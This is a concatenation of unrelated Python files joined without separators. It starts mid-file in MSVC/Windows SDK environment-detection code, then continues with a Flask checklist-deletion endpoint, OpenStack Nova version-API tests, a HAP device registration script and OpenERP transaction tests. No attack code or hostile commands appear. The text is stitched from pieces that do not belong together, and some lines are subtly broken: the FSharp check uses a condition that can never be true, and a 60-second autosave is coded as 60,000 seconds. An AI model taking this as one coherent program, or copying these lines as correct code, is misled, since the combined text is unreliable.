        Microsoft .NET Framework 64bit versions.
        """
        return self._find_dot_net_versions(64)

    def _find_dot_net_versions(self, bits):
        """
        Find Microsoft .NET Framework versions.

        Parameters
        ----------
        bits: int
            Platform number of bits: 32 or 64.
        """
        # Find actual .NET version in registry
        reg_ver = self.ri.lookup(self.ri.vc, 'frameworkver%d' % bits)
        dot_net_dir = getattr(self, 'FrameworkDir%d' % bits)
        ver = reg_ver or self._use_last_dir_name(dot_net_dir, 'v') or ''

        # Set .NET versions for specified MSVC++ version
        if self.vc_ver >= 12.0:
            frameworkver = (ver, 'v4.0')
        elif self.vc_ver >= 10.0:
            frameworkver = ('v4.0.30319' if ver.lower()[:2] != 'v4' else ver,
                            'v3.5')
        elif self.vc_ver == 9.0:
            frameworkver = ('v3.5', 'v2.0.50727')
        if self.vc_ver == 8.0:
            frameworkver = ('v3.0', 'v2.0.50727')
        return frameworkver

    def _use_last_dir_name(self, path, prefix=''):
        """
        Return name of the last dir in path or '' if no dir found.

        Parameters
        ----------
        path: str
            Use dirs in this path
        prefix: str
            Use only dirs startings by this prefix
        """
        matching_dirs = (
            dir_name
            for dir_name in reversed(os.listdir(path))
            if os.path.isdir(os.path.join(path, dir_name)) and
            dir_name.startswith(prefix)
        )
        return next(matching_dirs, None) or ''


class EnvironmentInfo:
    """
    Return environment variables for specified Microsoft Visual C++ version
    and platform : Lib, Include, Path and libpath.

    This function is compatible with Microsoft Visual C++ 9.0 to 14.0.

    Script created by analysing Microsoft environment configuration files like
    "vcvars[...].bat", "SetEnv.Cmd", "vcbuildtools.bat", ...

    Parameters
    ----------
    arch: str
        Target architecture.
    vc_ver: float
        Required Microsoft Visual C++ version. If not set, autodetect the last
        version.
    vc_min_ver: float
        Minimum Microsoft Visual C++ version.
    """

    # Variables and properties in this class use originals CamelCase variables
    # names from Microsoft source files for more easy comparaison.

    def __init__(self, arch, vc_ver=None, vc_min_ver=0):
        self.pi = PlatformInfo(arch)
        self.ri = RegistryInfo(self.pi)
        self.si = SystemInfo(self.ri, vc_ver)

        if self.vc_ver < vc_min_ver:
            err = 'No suitable Microsoft Visual C++ version found'
            raise distutils.errors.DistutilsPlatformError(err)

    @property
    def vc_ver(self):
        """
        Microsoft Visual C++ version.
        """
        return self.si.vc_ver

    @property
    def VSTools(self):
        """
        Microsoft Visual Studio Tools
        """
        paths = [r'Common7\IDE', r'Common7\Tools']

        if self.vc_ver >= 14.0:
            arch_subdir = self.pi.current_dir(hidex86=True, x64=True)
            paths += [r'Common7\IDE\CommonExtensions\Microsoft\TestWindow']
            paths += [r'Team Tools\Performance Tools']
            paths += [r'Team Tools\Performance Tools%s' % arch_subdir]

        return [os.path.join(self.si.VSInstallDir, path) for path in paths]

    @property
    def VCIncludes(self):
        """
        Microsoft Visual C++ & Microsoft Foundation Class Includes
        """
        return [os.path.join(self.si.VCInstallDir, 'Include'),
                os.path.join(self.si.VCInstallDir, r'ATLMFC\Include')]

    @property
    def VCLibraries(self):
        """
        Microsoft Visual C++ & Microsoft Foundation Class Libraries
        """
        if self.vc_ver >= 15.0:
            arch_subdir = self.pi.target_dir(x64=True)
        else:
            arch_subdir = self.pi.target_dir(hidex86=True)
        paths = ['Lib%s' % arch_subdir, r'ATLMFC\Lib%s' % arch_subdir]

        if self.vc_ver >= 14.0:
            paths += [r'Lib\store%s' % arch_subdir]

        return [os.path.join(self.si.VCInstallDir, path) for path in paths]

    @property
    def VCStoreRefs(self):
        """
        Microsoft Visual C++ store references Libraries
        """
        if self.vc_ver < 14.0:
            return []
        return [os.path.join(self.si.VCInstallDir, r'Lib\store\references')]

    @property
    def VCTools(self):
        """
        Microsoft Visual C++ Tools
        """
        si = self.si
        tools = [os.path.join(si.VCInstallDir, 'VCPackages')]

        forcex86 = True if self.vc_ver <= 10.0 else False
        arch_subdir = self.pi.cross_dir(forcex86)
        if arch_subdir:
            tools += [os.path.join(si.VCInstallDir, 'Bin%s' % arch_subdir)]

        if self.vc_ver == 14.0:
            path = 'Bin%s' % self.pi.current_dir(hidex86=True)
            tools += [os.path.join(si.VCInstallDir, path)]

        elif self.vc_ver >= 15.0:
            host_dir = (r'bin\HostX86%s' if self.pi.current_is_x86() else
                        r'bin\HostX64%s')
            tools += [os.path.join(
                si.VCInstallDir, host_dir % self.pi.target_dir(x64=True))]

            if self.pi.current_cpu != self.pi.target_cpu:
                tools += [os.path.join(
                    si.VCInstallDir, host_dir % self.pi.current_dir(x64=True))]

        else:
            tools += [os.path.join(si.VCInstallDir, 'Bin')]

        return tools

    @property
    def OSLibraries(self):
        """
        Microsoft Windows SDK Libraries
        """
        if self.vc_ver <= 10.0:
            arch_subdir = self.pi.target_dir(hidex86=True, x64=True)
            return [os.path.join(self.si.WindowsSdkDir, 'Lib%s' % arch_subdir)]

        else:
            arch_subdir = self.pi.target_dir(x64=True)
            lib = os.path.join(self.si.WindowsSdkDir, 'lib')
            libver = self._sdk_subdir
            return [os.path.join(lib, '%sum%s' % (libver , arch_subdir))]

    @property
    def OSIncludes(self):
        """
        Microsoft Windows SDK Include
        """
        include = os.path.join(self.si.WindowsSdkDir, 'include')

        if self.vc_ver <= 10.0:
            return [include, os.path.join(include, 'gl')]

        else:
            if self.vc_ver >= 14.0:
                sdkver = self._sdk_subdir
            else:
                sdkver = ''
            return [os.path.join(include, '%sshared' % sdkver),
                    os.path.join(include, '%sum' % sdkver),
                    os.path.join(include, '%swinrt' % sdkver)]

    @property
    def OSLibpath(self):
        """
        Microsoft Windows SDK Libraries Paths
        """
        ref = os.path.join(self.si.WindowsSdkDir, 'References')
        libpath = []

        if self.vc_ver <= 9.0:
            libpath += self.OSLibraries

        if self.vc_ver >= 11.0:
            libpath += [os.path.join(ref, r'CommonConfiguration\Neutral')]

        if self.vc_ver >= 14.0:
            libpath += [
                ref,
                os.path.join(self.si.WindowsSdkDir, 'UnionMetadata'),
                os.path.join(
                    ref,
                    'Windows.Foundation.UniversalApiContract',
                    '1.0.0.0',
                ),
                os.path.join(
                    ref,
                    'Windows.Foundation.FoundationContract',
                    '1.0.0.0',
                ),
                os.path.join(
                    ref,
                    'Windows.Networking.Connectivity.WwanContract',
                    '1.0.0.0',
                ),
                os.path.join(
                    self.si.WindowsSdkDir,
                    'ExtensionSDKs',
                    'Microsoft.VCLibs',
                    '%0.1f' % self.vc_ver,
                    'References',
                    'CommonConfiguration',
                    'neutral',
                ),
            ]
        return libpath

    @property
    def SdkTools(self):
        """
        Microsoft Windows SDK Tools
        """
        return list(self._sdk_tools())

    def _sdk_tools(self):
        """
        Microsoft Windows SDK Tools paths generator
        """
        if self.vc_ver < 15.0:
            bin_dir = 'Bin' if self.vc_ver <= 11.0 else r'Bin\x86'
            yield os.path.join(self.si.WindowsSdkDir, bin_dir)

        if not self.pi.current_is_x86():
            arch_subdir = self.pi.current_dir(x64=True)
            path = 'Bin%s' % arch_subdir
            yield os.path.join(self.si.WindowsSdkDir, path)

        if self.vc_ver == 10.0 or self.vc_ver == 11.0:
            if self.pi.target_is_x86():
                arch_subdir = ''
            else:
                arch_subdir = self.pi.current_dir(hidex86=True, x64=True)
            path = r'Bin\NETFX 4.0 Tools%s' % arch_subdir
            yield os.path.join(self.si.WindowsSdkDir, path)

        elif self.vc_ver >= 15.0:
            path = os.path.join(self.si.WindowsSdkDir, 'Bin')
            arch_subdir = self.pi.current_dir(x64=True)
            sdkver = self.si.WindowsSdkLastVersion
            yield os.path.join(path, '%s%s' % (sdkver, arch_subdir))

        if self.si.WindowsSDKExecutablePath:
            yield self.si.WindowsSDKExecutablePath

    @property
    def _sdk_subdir(self):
        """
        Microsoft Windows SDK version subdir
        """
        ucrtver = self.si.WindowsSdkLastVersion
        return ('%s\\' % ucrtver) if ucrtver else ''

    @property
    def SdkSetup(self):
        """
        Microsoft Windows SDK Setup
        """
        if self.vc_ver > 9.0:
            return []

        return [os.path.join(self.si.WindowsSdkDir, 'Setup')]

    @property
    def FxTools(self):
        """
        Microsoft .NET Framework Tools
        """
        pi = self.pi
        si = self.si

        if self.vc_ver <= 10.0:
            include32 = True
            include64 = not pi.target_is_x86() and not pi.current_is_x86()
        else:
            include32 = pi.target_is_x86() or pi.current_is_x86()
            include64 = pi.current_cpu == 'amd64' or pi.target_cpu == 'amd64'

        tools = []
        if include32:
            tools += [os.path.join(si.FrameworkDir32, ver)
                      for ver in si.FrameworkVersion32]
        if include64:
            tools += [os.path.join(si.FrameworkDir64, ver)
                      for ver in si.FrameworkVersion64]
        return tools

    @property
    def NetFxSDKLibraries(self):
        """
        Microsoft .Net Framework SDK Libraries
        """
        if self.vc_ver < 14.0 or not self.si.NetFxSdkDir:
            return []

        arch_subdir = self.pi.target_dir(x64=True)
        return [os.path.join(self.si.NetFxSdkDir, r'lib\um%s' % arch_subdir)]

    @property
    def NetFxSDKIncludes(self):
        """
        Microsoft .Net Framework SDK Includes
        """
        if self.vc_ver < 14.0 or not self.si.NetFxSdkDir:
            return []

        return [os.path.join(self.si.NetFxSdkDir, r'include\um')]

    @property
    def VsTDb(self):
        """
        Microsoft Visual Studio Team System Database
        """
        return [os.path.join(self.si.VSInstallDir, r'VSTSDB\Deploy')]

    @property
    def MSBuild(self):
        """
        Microsoft Build Engine
        """
        if self.vc_ver < 12.0:
            return []
        elif self.vc_ver < 15.0:
            base_path = self.si.ProgramFilesx86
            arch_subdir = self.pi.current_dir(hidex86=True)
        else:
            base_path = self.si.VSInstallDir
            arch_subdir = ''

        path = r'MSBuild\%0.1f\bin%s' % (self.vc_ver, arch_subdir)
        build = [os.path.join(base_path, path)]

        if self.vc_ver >= 15.0:
            # Add Roslyn C# & Visual Basic Compiler
            build += [os.path.join(base_path, path, 'Roslyn')]

        return build

    @property
    def HTMLHelpWorkshop(self):
        """
        Microsoft HTML Help Workshop
        """
        if self.vc_ver < 11.0:
            return []

        return [os.path.join(self.si.ProgramFilesx86, 'HTML Help Workshop')]

    @property
    def UCRTLibraries(self):
        """
        Microsoft Universal C Runtime SDK Libraries
        """
        if self.vc_ver < 14.0:
            return []

        arch_subdir = self.pi.target_dir(x64=True)
        lib = os.path.join(self.si.UniversalCRTSdkDir, 'lib')
        ucrtver = self._ucrt_subdir
        return [os.path.join(lib, '%sucrt%s' % (ucrtver, arch_subdir))]

    @property
    def UCRTIncludes(self):
        """
        Microsoft Universal C Runtime SDK Include
        """
        if self.vc_ver < 14.0:
            return []

        include = os.path.join(self.si.UniversalCRTSdkDir, 'include')
        return [os.path.join(include, '%sucrt' % self._ucrt_subdir)]

    @property
    def _ucrt_subdir(self):
        """
        Microsoft Universal C Runtime SDK version subdir
        """
        ucrtver = self.si.UniversalCRTSdkLastVersion
        return ('%s\\' % ucrtver) if ucrtver else ''

    @property
    def FSharp(self):
        """
        Microsoft Visual F#
        """
        if self.vc_ver < 11.0 and self.vc_ver > 12.0:
            return []

        return self.si.FSharpInstallDir

    @property
    def VCRuntimeRedist(self):
        """
        Microsoft Visual C++ runtime redistribuable dll
        """
        arch_subdir = self.pi.target_dir(x64=True)
        if self.vc_ver < 15:
            redist_path = self.si.VCInstallDir
            vcruntime = 'redist%s\\Microsoft.VC%d0.CRT\\vcruntime%d0.dll'
        else:
            redist_path = self.si.VCInstallDir.replace('\\Tools', '\\Redist')
            vcruntime = 'onecore%s\\Microsoft.VC%d0.CRT\\vcruntime%d0.dll'

        # Visual Studio 2017  is still Visual C++ 14.0
        dll_ver = 14.0 if self.vc_ver == 15 else self.vc_ver

        vcruntime = vcruntime % (arch_subdir, self.vc_ver, dll_ver)
        return os.path.join(redist_path, vcruntime)

    def return_env(self, exists=True):
        """
        Return environment dict.

        Parameters
        ----------
        exists: bool
            It True, only return existing paths.
        """
        env = dict(
            include=self._build_paths('include',
                                      [self.VCIncludes,
                                       self.OSIncludes,
                                       self.UCRTIncludes,
                                       self.NetFxSDKIncludes],
                                      exists),
            lib=self._build_paths('lib',
                                  [self.VCLibraries,
                                   self.OSLibraries,
                                   self.FxTools,
                                   self.UCRTLibraries,
                                   self.NetFxSDKLibraries],
                                  exists),
            libpath=self._build_paths('libpath',
                                      [self.VCLibraries,
                                       self.FxTools,
                                       self.VCStoreRefs,
                                       self.OSLibpath],
                                      exists),
            path=self._build_paths('path',
                                   [self.VCTools,
                                    self.VSTools,
                                    self.VsTDb,
                                    self.SdkTools,
                                    self.SdkSetup,
                                    self.FxTools,
                                    self.MSBuild,
                                    self.HTMLHelpWorkshop,
                                    self.FSharp],
                                   exists),
        )
        if self.vc_ver >= 14 and os.path.isfile(self.VCRuntimeRedist):
            env['py_vcruntime_redist'] = self.VCRuntimeRedist
        return env

    def _build_paths(self, name, spec_path_lists, exists):
        """
        Given an environment variable name and specified paths,
        return a pathsep-separated string of paths containing
        unique, extant, directories from those paths and from
        the environment variable. Raise an error if no paths
        are resolved.
        """
        # flatten spec_path_lists
        spec_paths = itertools.chain.from_iterable(spec_path_lists)
        env_paths = safe_env.get(name, '').split(os.pathsep)
        paths = itertools.chain(spec_paths, env_paths)
        extant_paths = list(filter(os.path.isdir, paths)) if exists else paths
        if not extant_paths:
            msg = "%s environment variable is empty" % name.upper()
            raise distutils.errors.DistutilsPlatformError(msg)
        unique_paths = self._unique_everseen(extant_paths)
        return os.pathsep.join(unique_paths)

    # from Python docs
    def _unique_everseen(self, iterable, key=None):
        """
        List unique elements, preserving order.
        Remember all elements ever seen.

        _unique_everseen('AAAABBBCCDAABBB') --> A B C D

        _unique_everseen('ABBCcAD', str.lower) --> A B C D
        """
        seen = set()
        seen_add = seen.add
        if key is None:
            for element in filterfalse(seen.__contains__, iterable):
                seen_add(element)
                yield element
        else:
            for element in iterable:
                k = key(element)
                if k not in seen:
                    seen_add(k)
                    yield element

from flask import request
from flask_restplus import Resource
from skf.api.security import security_headers, validate_privilege
from skf.api.checklist.business import delete_checklist_item
from skf.api.checklist.serializers import message
from skf.api.kb.parsers import authorization
from skf.api.restplus import api
from skf.api.security import log, val_num, val_float, val_alpha_num, val_alpha_num_special

ns = api.namespace('checklist', description='Operations related to checklist items')

@ns.route('/delete/item/<int:id>')
@api.doc(params={'id': 'DB id of the checklist item'})
@api.response(404, 'Validation error', message)
class ChecklistItemDelete(Resource):
    
    @api.expect(authorization)
    @api.response(400, 'No results found', message)
    def delete(self, id):
        """
        Delete a checklist item.
        * Privileges required: **delete**
        """
        val_num(id)
        validate_privilege(self, 'delete')
        result = delete_checklist_item(id)
        return result, 200, security_headers()

# Copyright 2010-2011 OpenStack Foundation
# All Rights Reserved.
#
#    Licensed under the Apache License, Version 2.0 (the "License"); you may
#    not use this file except in compliance with the License. You may obtain
#    a copy of the License at
#
#         http://www.apache.org/licenses/LICENSE-2.0
#
#    Unless required by applicable law or agreed to in writing, software
#    distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
#    License for the specific language governing permissions and limitations
#    under the License.

import copy
import uuid as stdlib_uuid

from oslo.serialization import jsonutils
import webob

from nova.api.openstack.compute import views
from nova import test
from nova.tests.unit.api.openstack import fakes
from nova.tests.unit import matchers


NS = {
    'atom': 'http://www.w3.org/2005/Atom',
    'ns': 'http://docs.openstack.org/common/api/v1.0'
}


EXP_LINKS = {
   'v2.0': {
       'html': 'http://docs.openstack.org/',
    },
   'v2.1': {
       'html': 'http://docs.openstack.org/'
    },
}


EXP_VERSIONS = {
    "v2.0": {
        "id": "v2.0",
        "status": "CURRENT",
        "updated": "2011-01-21T11:33:21Z",
        "links": [
            {
                "rel": "describedby",
                "type": "text/html",
                "href": EXP_LINKS['v2.0']['html'],
            },
        ],
        "media-types": [
            {
                "base": "application/json",
                "type": "application/vnd.openstack.compute+json;version=2",
            },
        ],
    },
    "v2.1": {
        "id": "v2.1",
        "status": "EXPERIMENTAL",
        "updated": "2013-07-23T11:33:21Z",
        "links": [
            {
                "rel": "self",
                "href": "http://localhost/v2.1/",
            },
            {
                "rel": "describedby",
                "type": "text/html",
                "href": EXP_LINKS['v2.1']['html'],
            },
        ],
        "media-types": [
            {
                "base": "application/json",
                "type": "application/vnd.openstack.compute+json;version=2.1",
            }
        ],
    }
}


class VersionsTestV20(test.NoDBTestCase):

    def test_get_version_list(self):
        req = webob.Request.blank('/')
        req.accept = "application/json"
        res = req.get_response(fakes.wsgi_app())
        self.assertEqual(res.status_int, 200)
        self.assertEqual(res.content_type, "application/json")
        versions = jsonutils.loads(res.body)["versions"]
        expected = [
            {
                "id": "v2.0",
                "status": "CURRENT",
                "updated": "2011-01-21T11:33:21Z",
                "links": [
                    {
                        "rel": "self",
                        "href": "http://localhost/v2/",
                    }],
            },
            {
                "id": "v2.1",
                "status": "EXPERIMENTAL",
                "updated": "2013-07-23T11:33:21Z",
                "links": [
                    {
                        "rel": "self",
                        "href": "http://localhost/v2/",
                    }],
            },
        ]
        self.assertEqual(versions, expected)

    def test_get_version_list_302(self):
        req = webob.Request.blank('/v2')
        req.accept = "application/json"
        res = req.get_response(fakes.wsgi_app())
        self.assertEqual(res.status_int, 302)
        redirect_req = webob.Request.blank('/v2/')
        self.assertEqual(res.location, redirect_req.url)

    def _test_get_version_2_detail(self, url, accept=None):
        if accept is None:
            accept = "application/json"
        req = webob.Request.blank(url)
        req.accept = accept
        res = req.get_response(fakes.wsgi_app())
        self.assertEqual(res.status_int, 200)
        self.assertEqual(res.content_type, "application/json")
        version = jsonutils.loads(res.body)
        expected = {
            "version": {
                "id": "v2.0",
                "status": "CURRENT",
                "updated": "2011-01-21T11:33:21Z",
                "links": [
                    {
                        "rel": "self",
                        "href": "http://localhost/v2/",
                    },
                    {
                        "rel": "describedby",
                        "type": "text/html",
                        "href": EXP_LINKS['v2.0']['html'],
                    },
                ],
                "media-types": [
                    {
                        "base": "application/json",
                        "type": "application/"
                                "vnd.openstack.compute+json;version=2",
                    },
                ],
            },
        }
        self.assertEqual(expected, version)

    def test_get_version_2_detail(self):
        self._test_get_version_2_detail('/v2/')

    def test_get_version_2_detail_content_type(self):
        accept = "application/json;version=2"
        self._test_get_version_2_detail('/', accept=accept)

    def test_get_version_2_versions_invalid(self):
        req = webob.Request.blank('/v2/versions/1234')
        req.accept = "application/json"
        res = req.get_response(fakes.wsgi_app())
        self.assertEqual(404, res.status_int)

    def test_multi_choice_image(self):
        req = webob.Request.blank('/images/1')
        req.accept = "application/json"
        res = req.get_response(fakes.wsgi_app())
        self.assertEqual(res.status_int, 300)
        self.assertEqual(res.content_type, "application/json")

        expected = {
        "choices": [
            {
                "id": "v2.0",
                "status": "CURRENT",
                "links": [
                    {
                        "href": "http://localhost/v2/images/1",
                        "rel": "self",
                    },
                ],
                "media-types": [
                    {
                        "base": "application/json",
                        "type": "application/vnd.openstack.compute+json"
                                ";version=2"
                    },
                ],
            },
            {
                "id": "v2.1",
                "status": "EXPERIMENTAL",
                "links": [
                    {
                        "href": "http://localhost/v2/images/1",
                        "rel": "self",
                    },
                ],
                "media-types": [
                    {
                        "base": "application/json",
                        "type":
                        "application/vnd.openstack.compute+json;version=2.1",
                    }
                ],
            },
        ], }

        self.assertThat(jsonutils.loads(res.body),
                        matchers.DictMatches(expected))

    def test_multi_choice_server_atom(self):
        """Make sure multi choice responses do not have content-type
        application/atom+xml (should use default of json)
        """
        req = webob.Request.blank('/servers')
        req.accept = "application/atom+xml"
        res = req.get_response(fakes.wsgi_app())
        self.assertEqual(res.status_int, 300)
        self.assertEqual(res.content_type, "application/json")

    def test_multi_choice_server(self):
        uuid = str(stdlib_uuid.uuid4())
        req = webob.Request.blank('/servers/' + uuid)
        req.accept = "application/json"
        res = req.get_response(fakes.wsgi_app())
        self.assertEqual(res.status_int, 300)
        self.assertEqual(res.content_type, "application/json")

        expected = {
        "choices": [
            {
                "id": "v2.0",
                "status": "CURRENT",
                "links": [
                    {
                        "href": "http://localhost/v2/servers/" + uuid,
                        "rel": "self",
                    },
                ],
                "media-types": [
                    {
                        "base": "application/json",
                        "type": "application/vnd.openstack.compute+json"
                                ";version=2"
                    },
                ],
            },
            {
                "id": "v2.1",
                "status": "EXPERIMENTAL",
                "links": [
                    {
                        "href": "http://localhost/v2/servers/" + uuid,
                        "rel": "self",
                    },
                ],
                "media-types": [
                    {
                        "base": "application/json",
                        "type":
                        "application/vnd.openstack.compute+json;version=2.1",
                    }
                ],
            },
        ], }

        self.assertThat(jsonutils.loads(res.body),
                        matchers.DictMatches(expected))


class VersionsViewBuilderTests(test.NoDBTestCase):
    def test_view_builder(self):
        base_url = "http://example.org/"

        version_data = {
            "v3.2.1": {
                "id": "3.2.1",
                "status": "CURRENT",
                "updated": "2011-07-18T11:30:00Z",
            }
        }

        expected = {
            "versions": [
                {
                    "id": "3.2.1",
                    "status": "CURRENT",
                    "updated": "2011-07-18T11:30:00Z",
                    "links": [
                        {
                            "rel": "self",
                            "href": "http://example.org/v2/",
                        },
                    ],
                }
            ]
        }

        builder = views.versions.ViewBuilder(base_url)
        output = builder.build_versions(version_data)

        self.assertEqual(output, expected)

    def test_generate_href(self):
        base_url = "http://example.org/app/"

        expected = "http://example.org/app/v2/"

        builder = views.versions.ViewBuilder(base_url)
        actual = builder.generate_href('v2')

        self.assertEqual(actual, expected)

    def test_generate_href_v21(self):
        base_url = "http://example.org/app/"

        expected = "http://example.org/app/v2/"

        builder = views.versions.ViewBuilder(base_url)
        actual = builder.generate_href('v2.1')

        self.assertEqual(actual, expected)

    def test_generate_href_unknown(self):
        base_url = "http://example.org/app/"

        expected = "http://example.org/app/v2/"

        builder = views.versions.ViewBuilder(base_url)
        actual = builder.generate_href('foo')

        self.assertEqual(actual, expected)


# NOTE(oomichi): Now version API of v2.0 covers "/"(root).
# So this class tests "/v2.1" only for v2.1 API.
class VersionsTestV21(test.NoDBTestCase):
    exp_versions = copy.deepcopy(EXP_VERSIONS)
    exp_versions['v2.0']['links'].insert(0,
        {'href': 'http://localhost/v2.1/', 'rel': 'self'},
    )

    def test_get_version_list_302(self):
        req = webob.Request.blank('/v2.1')
        req.accept = "application/json"
        res = req.get_response(fakes.wsgi_app_v21())
        self.assertEqual(res.status_int, 302)
        redirect_req = webob.Request.blank('/v2.1/')
        self.assertEqual(res.location, redirect_req.url)

    def test_get_version_21_detail(self):
        req = webob.Request.blank('/v2.1/')
        req.accept = "application/json"
        res = req.get_response(fakes.wsgi_app_v21())
        self.assertEqual(res.status_int, 200)
        self.assertEqual(res.content_type, "application/json")
        version = jsonutils.loads(res.body)
        expected = {"version": self.exp_versions['v2.1']}
        self.assertEqual(expected, version)

    def test_get_version_21_versions_v21_detail(self):
        req = webob.Request.blank('/v2.1/fake/versions/v2.1')
        req.accept = "application/json"
        res = req.get_response(fakes.wsgi_app_v21())
        self.assertEqual(res.status_int, 200)
        self.assertEqual(res.content_type, "application/json")
        version = jsonutils.loads(res.body)
        expected = {"version": self.exp_versions['v2.1']}
        self.assertEqual(expected, version)

    def test_get_version_21_versions_v20_detail(self):
        req = webob.Request.blank('/v2.1/fake/versions/v2.0')
        req.accept = "application/json"
        res = req.get_response(fakes.wsgi_app_v21())
        self.assertEqual(res.status_int, 200)
        self.assertEqual(res.content_type, "application/json")
        version = jsonutils.loads(res.body)
        expected = {"version": self.exp_versions['v2.0']}
        self.assertEqual(expected, version)

    def test_get_version_21_versions_invalid(self):
        req = webob.Request.blank('/v2.1/versions/1234')
        req.accept = "application/json"
        res = req.get_response(fakes.wsgi_app_v21())
        self.assertEqual(res.status_int, 404)

    def test_get_version_21_detail_content_type(self):
        req = webob.Request.blank('/')
        req.accept = "application/json;version=2.1"
        res = req.get_response(fakes.wsgi_app_v21())
        self.assertEqual(res.status_int, 200)
        self.assertEqual(res.content_type, "application/json")
        version = jsonutils.loads(res.body)
        expected = {"version": self.exp_versions['v2.1']}
        self.assertEqual(expected, version)

from hap_config_editor import hap_config_editor
import hap_config
import time
import threading
HAP_CE = hap_config_editor()
HAP_List = hap_config.HAP_List

# HAP_List HAP_ID HAP_Name login_time
def register(hap_name, hap_type, val_list=[], func_list=[]):
    hap_id = "{0:04d}".format((len(HAP_List) + 1))
    HAP_List.append([hap_id, hap_name, hap_type, time.time(), val_list, func_list])
    HAP_CE.set_var("HAP_List", HAP_List)
    print("New HAP registered!Name:" + hap_name + " ID:" + hap_id)
    return hap_id


def login(hap_id):
    flag = 0
    for i in range(0, len(HAP_List)):
        if hap_id == HAP_List[i][0]:
            print("HAP:" + hap_id + " Logged in.")
            flag = 1
            HAP_List[i][3] = time.time()
            break
    if flag == 0:
        print("This HAP hasn't registered!")


def auto_save():
    HAP_CE.save_config()
    timer1 = threading.Timer(60 * 1000, auto_save)
    timer1.start()

if __name__=='hap_main':
    print('test2')
    from hap_lib import *

    hap_init()
    auto_save()

# -*- coding: utf-8 -*-
import unittest2

from openerp.tests import common

class test_single_transaction_case(common.SingleTransactionCase):
    """
    Check the whole-class transaction behavior of SingleTransactionCase.
    """

    def test_00(self):
        """Create a partner."""
        cr, uid = self.cr, self.uid
        self.registry('res.partner').create(cr, uid, {'name': 'test_per_class_teardown_partner'})
        ids = self.registry('res.partner').search(cr, uid, [('name', '=', 'test_per_class_teardown_partner')])
        self.assertEqual(1, len(ids), "Test partner not found.")

    def test_01(self):
        """Find the created partner."""
        cr, uid = self.cr, self.uid
        ids = self.registry('res.partner').search(cr, uid, [('name', '=', 'test_per_class_teardown_partner')])
        self.assertEqual(1, len(ids), "Test partner not found.")

    def test_20a(self):
        """ Create a partner with a XML ID """
        cr, uid = self.cr, self.uid
        res_partner = self.registry('res.partner')
        ir_model_data = self.registry('ir.model.data')
        pid, _ = res_partner.name_create(cr, uid, 'Mr Blue')
        ir_model_data.create(cr, uid, {'name': 'test_partner_blue',
                                       'module': 'base',
                                       'model': 'res.partner',
                                       'res_id': pid})
    def test_20b(self):
        """ Resolve xml id with ref() and browse_ref() """
        cr, uid = self.cr, self.uid
        res_partner = self.registry('res.partner')
        xid = 'base.test_partner_blue'
        p_ref = self.ref(xid)
        self.assertTrue(p_ref, "ref() should resolve xid to database ID")
        partner = res_partner.browse(cr, uid, p_ref)
        p_browse_ref = self.browse_ref(xid)
        self.assertEqual(partner, p_browse_ref, "browse_ref() should resolve xid to browse records")
    


class test_transaction_case(common.TransactionCase):
    """
    Check the per-method transaction behavior of TransactionCase.
    """

    def test_00(self):
        """Create a partner."""
        cr, uid = self.cr, self.uid
        ids = self.registry('res.partner').search(cr, uid, [('name', '=', 'test_per_class_teardown_partner')])
        self.assertEqual(0, len(ids), "Test partner found.")
        self.registry('res.partner').create(cr, uid, {'name': 'test_per_class_teardown_partner'})